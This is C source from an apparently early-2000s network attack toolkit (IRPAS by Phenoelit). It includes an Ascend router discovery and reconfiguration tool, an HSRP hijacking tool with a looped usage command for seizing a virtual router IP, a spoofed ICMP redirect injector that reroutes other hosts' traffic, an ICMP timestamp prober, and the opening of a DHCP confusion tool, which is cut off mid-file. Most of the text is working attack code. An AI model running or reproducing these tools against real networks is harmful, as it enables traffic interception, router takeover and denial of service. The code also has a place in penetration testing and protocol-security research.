/* I call it Ascend Discovery Protcol - it does not work like CDP (Cisco Discovery Protocol), but leaks information in the same way */ typedef struct { int major; int minor; char *name; } ascend_device_t; /* maximum number of defined major system id's */ #define MAX_MAJOR 3 /* the maximum minor number per major */ static int minors[MAX_MAJOR+1] = {0,0,11,28}; /* system id table */ static ascend_device_t table[] = { { 0, 0, "unknown - answer is 0.0"}, { 1, 0, "Ascend Multiband - unknown model 0"}, { 2, 0, "Ascend MAX - unknown model 0"}, { 2, 1, "Ascend MAX 200"}, { 2, 2, "Ascend MAX 1800"}, { 2, 3, "Ascend MAX 2000"}, { 2, 4, "Ascend MAX 4000"}, { 2, 5, "Ascend MAX 4002"}, { 2, 6, "Ascend MAX 4004"}, { 2, 7, "Ascend MAX - unknown model 7"}, { 2, 8, "Ascend MAX - unknown model 8"}, { 2, 9, "Ascend MAX - unknown model 9"}, { 2, 10, "Ascend MAX - unknown model 10"}, { 2, 11, "Ascend DSL Terminator 100 (MAX 1800 chasis)"}, { 3, 0 , "Ascend Pipeline - unknown model 0" }, { 3, 1 , "Ascend Pipeline 15" }, { 3, 2 , "Ascend Pipeline 25" }, { 3, 3 , "Ascend Pipeline 25 Px" }, { 3, 4 , "Ascend Pipeline 25 Fx" }, { 3, 5 , "Ascend Pipeline 50" }, { 3, 6 , "Ascend Pipeline 75" }, { 3, 7 , "Ascend Pipeline 130" }, { 3, 8 , "Ascend Pipeline 400" }, { 3, 9 , "Ascend Pipeline 25 IP" }, { 3, 10 , "Ascend Pipeline 25 IPX" }, { 3, 11 , "Ascend Pipeline 50 BRI" }, { 3, 12 , "Ascend Pipeline 50 S56" }, { 3, 13 , "Ascend Pipeline 50 BRI FR" }, { 3, 14 , "Ascend Pipeline 50AT" }, { 3, 15 , "Ascend Pipeline 75AT" }, { 3, 16 , "Ascend Pipeline 50 IPsec" }, { 3, 17 , "Ascend Pipeline 75 IPsec" }, { 3, 18 , "Ascend Pipeline DSL (CellPipe)" }, { 3, 19 , "Ascend Pipeline 75 version 2" }, { 3, 20 , "Ascend Pipeline - unknown type 20" }, { 3, 21 , "Ascend Pipeline 130AT" }, { 3, 22 , "Ascend Pipeline - unknown type 22" }, { 3, 23 , "Ascend Pipeline 95 or DSL-50S-CELL" }, { 3, 24 , "Ascend Pipeline 155" }, { 3, 25 , "Ascend Pipeline DSL (CellPipe SDSL)" }, { 3, 26 , "Ascend Pipeline - unknown type 26" }, { 3, 27 , "Ascend Pipeline 155 V35 (SuperPipe)" }, { 3, 28 , "Ascend Pipeline 155 E1 (SuperPipe)" }, }; int scan_ascend(int verbose); void print_adp(adp_t *a,int verbose); char *getdevname(int a, int b); #define DEFAULT_PING_TIME 5 struct { int verbose; int flist; /* list features if known - works only on MAX */ int ping; /* same as pingtimout on enum */ int cont; /* don't stop listening when one respond (for bcast) */ int set; /* set IP !!! */ char *nname; /* new name */ char *pass; /* SNMP write password */ struct in_addr nip; /* new ip addr */ struct in_addr nnm; /* new net mask */ } cfg; int main(int argc,char **argv) { int n=0; char o; extern int optind; extern char *optarg; // char default24[] = "255.255.255.0"; printf("DFKAA - Devices Formerly Known As Ascend\n" "FX - http://www.phenoelit.de/\n" "$Revision: 1.22 $ - IRPAS Build %s\n" "(c) 2001++\n\n",BUILD); memset(&cfg,0,sizeof(cfg)); cfg.ping=DEFAULT_PING_TIME; // inet_aton(default24,&(cfg.nnm)); while ((o=getopt(argc,argv,"vfcp:S:P:I:M:N:"))!=EOF) { switch (o) { case 'v': cfg.verbose++; break; case 'f': cfg.flist++; break; case 'c': cfg.cont++; break; case 'p': cfg.ping=atoi(optarg); break; case 'S': cfg.set=1; /* force set */ break; case 'P': cfg.pass=smalloc(strlen(optarg)+1); strcpy(cfg.pass,optarg); break; case 'I': if (inet_aton(optarg,&(cfg.nip))==0) { fprintf(stderr,"%s is not a valid IP addr\n", optarg); exit(-1); } cfg.set=1; break; case 'M': if (inet_aton(optarg,&(cfg.nnm))==0) { fprintf(stderr,"%s is not a valid netmask\n", optarg); exit(-1); } cfg.set=1; break; case 'N': cfg.nname=smalloc(strlen(optarg)+1); strcpy(cfg.nname,optarg); cfg.set=1; break; default: fprintf(stderr,"Usage ... well. Look into the .c\n"); exit(1); } } if (getuid()!=0) { fprintf(stderr,"Requires root !\n"); return (1); } if (cfg.set==1) { cfg.cont=1; /* if setting, password defaults to "write" */ if (cfg.pass==NULL) { cfg.pass=smalloc(strlen("write")+1); strcpy(cfg.pass,"write"); } } if (optind==argc-1) { if (cfg.verbose) { printf("enumeration in progress ...\n"); fflush(stdout); } if ((n=enumerate(argv[optind], cfg.ping, cfg.verbose))<0) { printf("error in enumerate\n"); } else { if (cfg.verbose) { printf("%d potential targets found\n",n); enum_print(); } } } else { fprintf(stderr,"\n%s [-p ] [-v] [-c] [-f]\n" "\t[-P ] [-N ] [-I ]" " [-M ]\n\t\n\n" "\tIf timeout is >0, pings are used to enum\n" "\tIf timeout is 0, every host is probed\n", argv[0]); } if (n<=0) return (-1); if ((n>1)&&(cfg.set==1)) { fprintf(stderr,"\n\n----WARNING----\n\n" "\tconfiguration request for multiple targets\n" "\tTHIS MAY BE A WIDE RANGE DENIAL OF SERVICE ATTACK\n\n" "\tPress CTRL-C during the next 5 seconds\n\n"); sleep(1); fprintf(stderr,"..4\n"); sleep(1); fprintf(stderr,"..3\n"); sleep(1); fprintf(stderr,"..2\n"); sleep(1); fprintf(stderr,"..1\n"); sleep(1); fprintf(stderr,"0\n"); } if (scan_ascend(cfg.verbose)>(-1)) { printf("\nscan completed\n"); } enum_free(); return 0; } int scan_ascend(int verbose) { #define TIMER 2 int udpsfd; int icmps; adp_t packet,answer,intruder; enum_target_t *p; struct sockaddr_in sin; struct sockaddr_in frm; socklen_t frmlen; unsigned long t1; int rlen,ilen; u_char ipack[sizeof(iphdr_t)+sizeof(icmphdr_t)+64]; icmphdr_t *ic; iphdr_t *ip2; udphdr_t *udp2; int setting_done; if ((udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) { perror("socket()"); return (-1); } if (makebcast(udpsfd)!=0) return (-1); makenonblock(udpsfd); memset(&packet,0,sizeof(packet)); packet.magic[0]=0x07; packet.magic[1]=0xa2; packet.magic[2]=0x08; packet.magic[3]=0x12; if ((icmps=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket(IPPROTO_ICMP)"); return (-1); } makenonblock(icmps); memset(&ipack,0,sizeof(ipack)); p=enum_anchor; while (p!=NULL) { memset(&answer,0,sizeof(answer)); memset(&sin,0,sizeof(struct sockaddr_in)); memset(&frm,0,sizeof(struct sockaddr_in)); if (verbose) printf("Request to %s\n",inet_ntoa(p->addr)); sin.sin_family=AF_INET; sin.sin_port=htons(9); /* discard */ memcpy(&(sin.sin_addr),&(p->addr),sizeof(sin.sin_addr)); if (sendto(udpsfd,&packet,sizeof(packet),0, (struct sockaddr *)&sin, sizeof(struct sockaddr_in))<=0) { perror("sendto()"); return(-1); } setting_done=0; t1=(unsigned long)time(NULL); while ((unsigned long)time(NULL)<(t1+TIMER)) { frmlen=sizeof(struct sockaddr_in); if ((rlen=recvfrom(udpsfd,(void *)&answer,sizeof(answer),0, (struct sockaddr *)&frm,&frmlen))>0) { if (rlen0) { /* ICMP message ... */ ic=(icmphdr_t *)(((void *)&ipack)+sizeof(iphdr_t)); ip2=(iphdr_t *)(((void *)&ipack)+sizeof(iphdr_t)+ sizeof(icmphdr_t)+4); udp2=(udphdr_t *)(((void *)&ipack)+2*sizeof(iphdr_t)+ sizeof(icmphdr_t)+4); if ((ic->type==ICMP_DEST_UNREACH)&&(ntohs(udp2->dport)==9)) { if (ic->type==ICMP_UNREACH_PORT) { printf("HINT: %s reports port unreachable on", inet_ntoa(frm.sin_addr)); printf(" %s\n",inet_ntoa(ip2->daddr)); } else if (ic->type==ICMP_UNREACH_ADMIN1) { printf("%s reports filter for", inet_ntoa(frm.sin_addr)); printf(" %s\n",inet_ntoa(ip2->daddr)); } else if (ic->type==ICMP_UNREACH_FIREWALL) { printf("%s reports filter (FW) for", inet_ntoa(frm.sin_addr)); printf(" %s\n",inet_ntoa(ip2->daddr)); } } } } p=p->next; } close(udpsfd); close(icmps); return 0; } void print_adp(adp_t *a,int verbose) { char buf[17]; struct in_addr addr; memset(&buf,0,sizeof(buf)); /* name */ memcpy((char *)&buf,(char *)&(a->name),16); printf(">>%s<<\n",buf); /* answer */ switch (a->flag) { case 0: printf("\t[Probe packet]\n"); break; case 1: printf("\t[Probe response]\n"); break; case 2: printf("\t[Write access requested]\n"); break; case 3: printf("\t[Write access granted]\n"); break; case 4: printf("\t[Write access denied - wrong password]\n"); break; case 5: printf("\t[Write access denied - general]\n"); break; default: printf("\t[FLAG UNKNOWN]\n"); } /* proto */ printf("\tADP version:\t%d\n",*((u_int16_t *)&(a->protover))); /* MAC */ printf("\tMAC addr:\t%02X:%02X:%02X:%02X:%02X:%02X\n", a->macaddr[0], a->macaddr[1], a->macaddr[2], a->macaddr[3], a->macaddr[4], a->macaddr[5]); /* IP */ memcpy(&addr,&(a->ipaddr),4); printf("\tIP addr:\t%s/",inet_ntoa(addr)); /* netmask */ memcpy(&addr,&(a->netmask),4); printf("%s\n",inet_ntoa(addr)); /* serial */ printf("\tSerial number:\t%d\n",ntohl(*((u_int32_t *)&(a->serial)))); /* Device type */ printf("\tDevice type:\t"); if (a->group>MAX_MAJOR) { printf("TOTALY UNKNOWN %d.%d\n",a->group,a->devtype); printf("If you know what type it is, send email to fx@phenoelit.de\n"); } else { if (a->devtype>minors[a->group]) { switch (a->group) { case 0: printf("error reported\n"); break; case 1: printf("Multiband device number %d\n",a->devtype); break; case 2: printf("Ascend MAX device number %d\n",a->devtype); break; case 3: printf("Ascend Pipeline device number %d\n",a->devtype); break; } printf("If you know what type it is," " send email to fx@phenoelit.de\n"); } else { /* OK, ok - we know it */ printf("%s\n",getdevname(a->group,a->devtype)); } } printf("\tFeatures:\t%04x %04x %04x %04x\n", htons(a->feature1),htons(a->feature2), htons(a->feature3),htons(a->feature4)); if (cfg.flist) { if ((htons(a->feature1)&128)>0) printf("\t\t\t* MRATE\n"); if ((htons(a->feature1)&32)>0) printf("\t\t\t* X21\n"); if ((htons(a->feature1)&16)>0) printf("\t\t\t* V24BIS\n"); if ((htons(a->feature1)&8)>0) printf("\t\t\t* RS366\n"); if ((htons(a->feature1)&2)>0) printf("\t\t\t* Dynamic\n"); if ((htons(a->feature1)&1)>0) printf("\t\t\t* NBY\n"); if ((htons(a->feature3)&128)>0) printf("\t\t\t* R2 Signaling\n"); if ((htons(a->feature3)&32)>0) printf("\t\t\t* DATACALL\n"); if ((htons(a->feature3)&16)>0) printf("\t\t\t* Dual-Slot T1\n"); if ((htons(a->feature3)&4)>0) printf("\t\t\t* Modem TS Dialout\n"); if ((htons(a->feature3)&1)>0) printf("\t\t\t* Serial Port T1 CSU\n"); } } char *getdevname(int a,int b) { int i; int known_devs=0; for (i=0;i<=MAX_MAJOR;i++) known_devs+=minors[i]+1; for (i=0;i #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" /* use: * * while (true); do (./hsrp -d 224.0.0.2 -v 192.168.1.22 -a fuckfuck -g 1 -i eth0 ; sleep 3); done * To force 192.168.1.10 into standby : while (true); do (./hsrp -d 192.168.1.10 -v 192.168.1.22 -a fuckfuck -g 1 -i eth0 ; sleep 3); done * */ int main(int argc, char **argv) { char option; extern char *optarg; int sfd; u_char pack[sizeof(iphdr_t)+sizeof(udphdr_t)+sizeof(hsrp_t)]; iphdr_t *ip; udphdr_t *udp; hsrp_t *hsrp; struct in_addr vip,dest,src; char auth[9]; unsigned short group; char *device=NULL; memset(&src,0,sizeof(src)); memset(&dest,0,sizeof(dest)); memset(&vip,0,sizeof(vip)); ip=(iphdr_t *)&pack; udp=(udphdr_t *)((void *)&pack+sizeof(iphdr_t)); hsrp=(hsrp_t *)((void *)&pack+sizeof(iphdr_t)+sizeof(udphdr_t)); while ((option=getopt(argc,argv,"i:d:v:a:g:S:"))!=EOF) { switch (option) { case 'd': if (!inet_aton(optarg,&dest)) { fprintf(stderr,"%s invalid\n",optarg); return 1; } break; case 'v': if (!inet_aton(optarg,&vip)) { fprintf(stderr,"%s invalid\n",optarg); return 1; } break; case 'S': if (!inet_aton(optarg,&src)) { fprintf(stderr,"%s invalid\n",optarg); return 1; } break; case 'a': memset(auth,0,sizeof(auth)); strncpy(auth,optarg,8); break; case 'g': group=(unsigned short)atoi(optarg); break; case 'i': device=smalloc(strlen(optarg)+1); strcpy(device,optarg); break; return 1; } } if (!(device&&*((u_int32_t *)&vip)&&*((u_int32_t *)&dest))) { printf("%s -i -v " "-d -a \n\t-g [-S ]\n" "EXAMPLE:\nwhile (true);\n do (./hsrp -d 224.0.0.2 -v" "192.168.1.22 -a cisco -g 1 -i eth0 ; " "sleep 3);\ndone\n",argv[0]); return 1; } memset(pack,0,sizeof(pack)); if ((sfd=init_socket_IP4(device,1))==(-1)) return(1); ip->version=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(sizeof(pack)); ip->ttl=0x80; ip->protocol=IPPROTO_UDP; if (*((u_int32_t *)&(src.s_addr))==0) { memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); } else { memcpy(&(ip->saddr.s_addr),&(src.s_addr),IP_ADDR_LEN); } memcpy(&(ip->daddr.s_addr),&(dest.s_addr),IP_ADDR_LEN); udp->sport=udp->dport=htons(1985); udp->length=htons(sizeof(udphdr_t)+sizeof(hsrp_t)); hsrp->version=0; hsrp->opcode=HSRP_OPCODE_COUP; hsrp->state=HSRP_STATE_ACTIVE; hsrp->hellotime=3; hsrp->holdtime=255; hsrp->prio=255; hsrp->group=group; memcpy(&(hsrp->auth),auth,8); memcpy(&(hsrp->virtip),&(vip.s_addr),IP_ADDR_LEN); sendpack_IP4(sfd,pack,sizeof(pack)); hsrp->opcode=HSRP_OPCODE_HELLO; sendpack_IP4(sfd,pack,sizeof(pack)); close(sfd); return 0; } irpas-0.10/icmp_redirect.c0100644000175000017500000002617007364600755013726 0ustar vlmvlm/* ICMP local redirector * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k++ * * $Id: icmp_redirect.c,v 1.4 2001/10/18 12:02:58 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" #include "build.h" #include #include /* definitions */ #define IPTTL 0x80 #define CAPLENGTH 1542 //#define DEST_LENGTH 15 #define DEFAULT_DELAY 3 #define BANNER "ICMP local redirector $Revision: 1.4 $\n"\ "\t(c) 2k++ FX \n"\ "\tPhenoelit (http://www.phenoelit.de)\n" typedef struct { struct in_addr src; struct in_addr dest; unsigned long t; void *next; } found_t; /* config */ struct { int verbose; char *device; u_int32_t tnet, tmask; u_int32_t snet, smask; int spoof_src; struct in_addr src; struct in_addr gw; unsigned int delay; } cfg; /* * globals */ u_char *rawpacket; int icmpsfd; pcap_t *cap; found_t *fanchor; sig_atomic_t stop_flag=0; /************************************ * prototypes */ void usage(char *n); u_char *construct_icmp_redirect(struct in_addr *dest, struct in_addr *newgw, int *psize, u_char *iporig, unsigned int iporig_length); /* PCAP */ int initialize_pcap(void); void signaler(int sig); void evaluate_packet(u_char *frame,int frame_length); void net_listen(void); void add_con(struct in_addr *src,struct in_addr *dest); found_t *con(struct in_addr *src, struct in_addr *dest); void free_cons(void); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; struct in_addr temp; char *inet,*imask; memset(&cfg,0,sizeof(cfg)); cfg.delay=DEFAULT_DELAY; while ((option=getopt(argc,argv,"vi:S:G:d:s:w:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'G': /* set destination */ if (inet_aton(optarg,&(cfg.gw))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } break; case 'd': inet=smalloc(strlen(optarg)+1); strcpy(inet,optarg); if ((imask=strchr(inet,'/'))==NULL) { usage(argv[0]); /* does not return */ } imask[0]='\0'; imask++; if (!inet_aton(inet,&temp)) { fprintf(stderr,"Target network %s incorrect\n", inet); return (1); } cfg.tnet=ntohl(*((u_int32_t*)&(temp.s_addr))); if (!inet_aton(imask,&temp)) { fprintf(stderr,"Target netmask %s incorrect\n", inet); return (1); } cfg.tmask=ntohl(*((u_int32_t*)&(temp.s_addr))); /* make the net flat ;) */ cfg.tnet=cfg.tnet&cfg.tmask; free(inet); break; case 's': inet=smalloc(strlen(optarg)+1); strcpy(inet,optarg); if ((imask=strchr(inet,'/'))==NULL) { usage(argv[0]); /* does not return */ } imask[0]='\0'; imask++; if (!inet_aton(inet,&temp)) { fprintf(stderr,"Source network %s incorrect\n", inet); return (1); } cfg.snet=ntohl(*((u_int32_t*)&(temp.s_addr))); if (!inet_aton(imask,&temp)) { fprintf(stderr,"Source netmask %s incorrect\n", inet); return (1); } cfg.smask=ntohl(*((u_int32_t*)&(temp.s_addr))); /* make the net flat ;) */ cfg.snet=cfg.snet&cfg.smask; free(inet); break; case 'w': cfg.delay=atoi(optarg); break; default: usage(argv[0]); } } if (!cfg.device) usage(argv[0]); /* * TODO: add output on what we are about to do */ /* set up ICMP sender socket (IP) */ if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1); /* if spoofing is enabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } /* set up sniffer */ if (initialize_pcap()==(-1)) return (1); /* signal handling */ signal(SIGTERM,&signaler); signal(SIGABRT,&signaler); signal(SIGINT,&signaler); /* my shit */ printf(BANNER); printf("\tIRPAS build %s\n",BUILD); while (!stop_flag) net_listen(); /* at the end of the day, close our socket */ pcap_close(cap); close(icmpsfd); free_cons(); return (0); } /********************** FUNCTIONS **********************/ void net_listen(void) { u_char *pcap_data, *ppacket; struct pcap_pkthdr pcap_head,phead; if ((pcap_data=(u_char *)pcap_next(cap,&pcap_head))!=NULL) { /* make a local copy of the data, * pcap will overwrite the buffer if needed */ memcpy(&phead,&pcap_head,sizeof(struct pcap_pkthdr)); ppacket=(u_char *)smalloc(phead.caplen); memcpy(ppacket,pcap_data,phead.caplen); evaluate_packet(ppacket,phead.caplen); free(ppacket); } } void evaluate_packet(u_char *frame,int frame_length) { struct ether_header *eth; iphdr_t *ip; u_char *icp; int icl; found_t *c; if (frame_lengthether_type)==ETHERTYPE_IP) { ip=(iphdr_t *)(frame+sizeof(struct ether_header)); /* if it is from myself, igore it */ if (!memcmp(&(ip->saddr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) return; if (cfg.verbose>2) printf("\tnot me\n"); /* if it is from the spoofed self, igore it */ if (!memcmp(&(ip->saddr),&(cfg.src),IP_ADDR_LEN)) return; /* does it match the destination and source ? */ if ( ((ntohl(*((u_int32_t*)&(ip->daddr.s_addr)))&cfg.tmask) ==cfg.tnet) && ((ntohl(*((u_int32_t*)&(ip->saddr.s_addr)))&cfg.smask) ==cfg.snet) ){ if (cfg.verbose>1) { printf(" %s ",inet_ntoa(ip->saddr)); printf("to %s matches ",inet_ntoa(ip->daddr)); printf("- redirect to %s\n",inet_ntoa(cfg.gw)); } c=con(&(ip->saddr),&(ip->daddr)); if ( (c==NULL) || ((c->t+(unsigned long)cfg.delay)<(unsigned long)time(NULL)) ){ icp=construct_icmp_redirect(&(ip->saddr),&(cfg.gw),&icl, (u_char *)ip,frame_length-sizeof(struct ether_header)); sendpack_IP4(icmpsfd,icp,icl); free(icp); if (cfg.verbose) { if(c==NULL) { printf(" New traffic path %s ",inet_ntoa(ip->saddr)); printf("> %s \n",inet_ntoa(ip->daddr)); } } add_con(&(ip->saddr),&(ip->daddr)); } else if (cfg.verbose>1) printf(" Traffic path redirected %lu secs ago." " Keeping silence.\n", (unsigned long)time(NULL)-c->t); } else return; } /* not IP */ } void signaler(int sig) { stop_flag++; if (cfg.verbose>2) fprintf(stderr,"\nSignal received.\n"); pcap_close(cap); } int initialize_pcap(void) { #define PATTERNSTRING "not src host " #define IPSTRLEN 16 char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ struct bpf_program cfilter; /* the compiled filter */ bpf_u_int32 network,netmask; char tipstr[IPSTRLEN+1]; char *notfilter; /* prepare filter */ memset(&tipstr,0,IPSTRLEN+1); strcpy(tipstr,inet_ntoa(cfg.src)); notfilter=(char *)smalloc(strlen(PATTERNSTRING)+IPSTRLEN+1); strcpy(notfilter,PATTERNSTRING); strcat(notfilter,tipstr); /* get my network and netmask */ if (pcap_lookupnet(cfg.device,&network,&netmask,pcap_err)!=0) { fprintf(stderr,"pcap_lookupnet(): %s\n",pcap_err); return (-1); } /* open the sniffer */ if ((cap=pcap_open_live(cfg.device,CAPLENGTH, 1, /* in promi mode */ 0, /* not timeouts */ pcap_err))==NULL) { fprintf(stderr,"pcap_open_live(): %s\n",pcap_err); return (-1); } if (pcap_datalink(cap)!=DLT_EN10MB) { fprintf(stderr,"works on Ethernet only, sorry.\n"); return (-1); } if (pcap_compile(cap,&cfilter,notfilter,0,netmask)!=0) { pcap_perror(cap,"pcap_compile()"); return (-1); } if (pcap_setfilter(cap,&cfilter)!=0) { pcap_perror(cap,"pcap_setfilter()"); return (-1); } free(notfilter); return 0; } /* constructs the ICMP redirect * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_icmp_redirect(struct in_addr *dest, struct in_addr *newgw, int *psize, u_char *iporig, unsigned int iporig_length) { u_char *tpacket; iphdr_t *iph; icmp_redirect_t *icmp; u_int16_t cs; *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(sizeof(icmp_redirect_t)+sizeof(iphdr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; srand((unsigned int)time(NULL)); iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); iph->protocol=IPPROTO_ICMP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN); /* make up the icmp header */ icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t)); icmp->type=ICMP_REDIRECT; if (cfg.tmask==0xFFFFFFFF) icmp->code=ICMP_REDIR_HOST; else icmp->code=ICMP_REDIR_NET; memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN); memcpy(&(icmp->headerdata), iporig,iporig_length>28?28:iporig_length); /* make up checksum */ cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t)); icmp->checksum=cs; return tpacket; } void add_con(struct in_addr *src, struct in_addr *dest) { found_t *c; if ((c=con(src,dest))!=NULL) { c->t=(unsigned long)time(NULL); return; } if ((c=fanchor)==NULL) { c=smalloc(sizeof(found_t)); fanchor=c; } else { c=fanchor; while (c->next!=NULL) c=c->next; c->next=smalloc(sizeof(found_t)); c=c->next; } memcpy(&(c->src.s_addr),&(src->s_addr),IP_ADDR_LEN); memcpy(&(c->dest.s_addr),&(dest->s_addr),IP_ADDR_LEN); c->t=(unsigned long)time(NULL); } found_t *con(struct in_addr *src, struct in_addr *dest) { found_t *c; c=fanchor; while (c!=NULL) { if ( (!memcmp(&(c->src.s_addr),&(src->s_addr),IP_ADDR_LEN)) && (!memcmp(&(c->dest.s_addr),&(dest->s_addr),IP_ADDR_LEN)) ) { return c; } c=c->next; } return NULL; } void free_cons(void) { found_t *c; if (cfg.verbose) printf("\nHistory:\n"); c=fanchor; while (c!=NULL) { fanchor=c; if (cfg.verbose) { printf("%15s > ",inet_ntoa(fanchor->src)); printf("%15s, last redirect %s",inet_ntoa(fanchor->dest), ctime(&(fanchor->t))); } c=c->next; free(fanchor); } } void usage(char *n) { printf( "%s [-v[v[v]]] -i \n" "\t[-s /]\n" "\t[-d /]\n" "\t[-G ] [-w ]\n" "\t[-S ]\n", n); exit (1); } irpas-0.10/timestamp.c0100644000175000017500000001101107364600756013105 0ustar vlmvlm/* timestamp - ICMP timestamp requester * * FX * Phenoelit (http://www.phenoelit.de) * * $Id: timestamp.c,v 1.1 2001/08/11 17:23:41 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" void usage(char *n); struct { int verbose; struct in_addr dest; int timeout; char *tdest; } cfg; void usage(char *n) { fprintf(stderr, "Usage: %s -d -t \n" ,n); } int main(int argc, char **argv) { char option; extern char *optarg; int rfd; struct sockaddr_in to,from; u_char *tpacket; iphdr_t *ip; icmphdr_t *icmp; icmp_timestamp_t *stamp; int psize; u_int16_t cs; int rc,addrsize,respond=0; unsigned long start_t; struct timespec sleeper = { 0, 10}; #define BSIZE (sizeof(iphdr_t)+sizeof(icmphdr_t)+200) #define IDENT 0x0FF0 memset(&cfg,0,sizeof(cfg)); cfg.timeout=3; while ((option=getopt(argc,argv,"vd:t:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'd': /* destination, first as text */ cfg.tdest=smalloc(strlen(optarg)+1); strcpy(cfg.tdest,optarg); break; case 't': if ((cfg.timeout=atoi(optarg))==0) { fprintf(stderr,"%s is an invalid timeout\n", optarg); return (1); } break; default: usage(argv[0]); return (1); } } /* check destination */ if (!cfg.tdest) { fprintf(stderr,"You should really supply a destination with -d\n"); return (1); } else { /* try as a normal IP address */ if (inet_aton(cfg.tdest,&(cfg.dest))==0) { /* ups, wasn't an IP - maybe a hostname */ struct hostent *hd; if ((hd=gethostbyname(cfg.tdest))==NULL) { fprintf(stderr,"Could not resolve destination host\n"); return (1); } else { bcopy(hd->h_addr,(char *)&(cfg.dest),hd->h_length); /* memcpy((u_int8_t*)&(cfg.dest), (u_int8_t*)&(hd->h_addr_list[0]),IP_ADDR_LEN); */ } } } if ((rfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket(IPPROTO_ICMP)"); return (-1); } /* make the request packet */ psize=sizeof(icmphdr_t)+sizeof(icmp_timestamp_t); tpacket=(u_char *)smalloc(psize+3); /* make ICMP mask request */ icmp=(icmphdr_t *)tpacket; icmp->type=ICMP_TIMESTAMP; stamp=(icmp_timestamp_t *)(tpacket+sizeof(icmphdr_t)); stamp->identifier=htons(IDENT); /* make up checksum */ cs=chksum((u_char *)icmp,psize); icmp->checksum=cs; memset(&to,0,sizeof(struct sockaddr_in)); to.sin_family=AF_INET; to.sin_port=htons(0); memcpy(&(to.sin_addr),&(cfg.dest),sizeof(to.sin_addr)); if (sendto(rfd,tpacket,psize,0, (struct sockaddr *) &to, sizeof(struct sockaddr_in)) <0) { perror("sendto()"); return(-1); } rc= O_NONBLOCK | fcntl(rfd, F_GETFL); fcntl(rfd,F_SETFL,rc); /* make sure we have no junk in the mem */ memset(&from,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); start_t=(unsigned long)time(NULL); free(tpacket); tpacket=(u_char *)smalloc(BSIZE); psize=BSIZE; respond=0; while (start_t+cfg.timeout>=time(NULL)) { if ((rc=recvfrom(rfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&from, &addrsize))>=0) { struct hostent *hr; char *name; ip=(iphdr_t *)tpacket; /* got an ICMP response */ icmp=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); stamp=(icmp_timestamp_t *)(tpacket+sizeof(iphdr_t)+ sizeof(icmphdr_t)); /* reverse lookup */ if ( (hr=gethostbyaddr((char *)&(from.sin_addr), IP_ADDR_LEN,AF_INET))!=NULL) { name=(char *)smalloc(strlen(hr->h_name)+ strlen(inet_ntoa(from.sin_addr))+4); strcpy(name,hr->h_name); strcat(name," ["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } else { name=(char *)smalloc( strlen(inet_ntoa(from.sin_addr))+4); strcat(name,"["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } if (icmp->type==ICMP_TIMESTAMPREPLY) { printf("%s\trecv/trans: %u/%u\n", name, ntohl(stamp->recvts), ntohl(stamp->transts)); cfg.timeout=0; /* printf("%s\t%s\n", name, ctime((time_t *)&(stamp->recvts))); */ } } nanosleep(&sleeper,NULL); } free(tpacket); close(rfd); return 0; } irpas-0.10/dhcpx.c0100644000175000017500000006652207413076034012220 0ustar vlmvlm/* DHCPX * Dynamic Host Confusion Program ;) * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: dhcpx.c,v 1.4 2001/12/28 14:04:36 fx Exp fx $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" #include "build.h" /* we need a sniffer enigine here */ #include #include /* definitions */ #define IP_BCAST "255.255.255.255" #define CAPLENGTH 1542 #define DEST_LENGTH 15 #define BANNER "DHCPx $Revision: 1.4 $\n"\ "\t(c) 2k++ FX \n"\ "\tPhenoelit (http://www.phenoelit.de)\n" #define REQ_TIMEOUT 10 #define LEASE_STAT_NEW 0 #define LEASE_STAT_REQUEST 1 #define LEASE_STAT_ACTIVE 2 #define LEASE_STAT_RELEASE 100 typedef struct { struct in_addr addr; u_char hwaddr[6]; u_int32_t xid; unsigned long since; unsigned long renew; unsigned int status; void *next; } lease_t; typedef struct { struct in_addr addr; lease_t *leases; void *next; } server_t; typedef struct { struct in_addr addr; u_char hwaddr[6]; unsigned 